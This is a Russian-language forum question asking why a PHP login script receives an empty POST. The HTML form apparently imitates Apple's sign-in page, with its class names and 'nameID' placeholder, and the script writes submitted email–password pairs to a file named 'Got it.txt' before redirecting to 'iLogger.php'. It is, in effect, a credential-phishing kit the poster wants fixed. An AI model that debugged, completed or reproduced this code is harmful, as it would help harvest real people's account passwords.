Имеется код
<form action="login_authenticator.php" method="POST"> <input class="si-text-field" id="name" type="email" can-field="accountName" autocomplete="off" autocorrect="off" autocapitalize="off" aria-required="true" required="required" aria-labelledby="nameFieldLabel" spellcheck="false" placeholder="nameID"> </div> </div> <div class="row no-gutter si-field pwd "> <div class="col-xs-12"> <label for="pwd" class="sr-only"> password </label> <input id="pwd" type="password" aria-required="true" required="required" can-field="password" autocomplete="off" class="si-password si-text-field " placeholder="password"> <p class="sr-only" id="invalidUserNamePwdErrMsg" role="tooltip"> </p> </div> </div> <div class="pop-container error signin-error hide"> <div class="error pop-bottom"> <p class="fat" id="errMsg"> </p> </div> </div> <div class="si-remember-password"> <input type="checkbox" id="remember-me" tabindex="0" class="ax-outline"> <label for="remember-me"> Запомнить меня </label> </div> <div class="spinner-container auth hide"> </div> <input type="submit" value="Sign In " name="submit"> </form>
далее скрипт
<?php if(isset($_POST['name']) && isset($_POST['pwd'])) { $data = $_POST['name'] . '-' . $_POST['pwd'] . "\n"; $ret = file_put_contents('Got it.txt', $data); if($ret === false) { die('error!'); } else { echo "Done"; } } else { die('more errors'); } header("Location: iLogger.php"); die(); ?>
в итоге "more error", POST оказывается пустым
помогите разобраться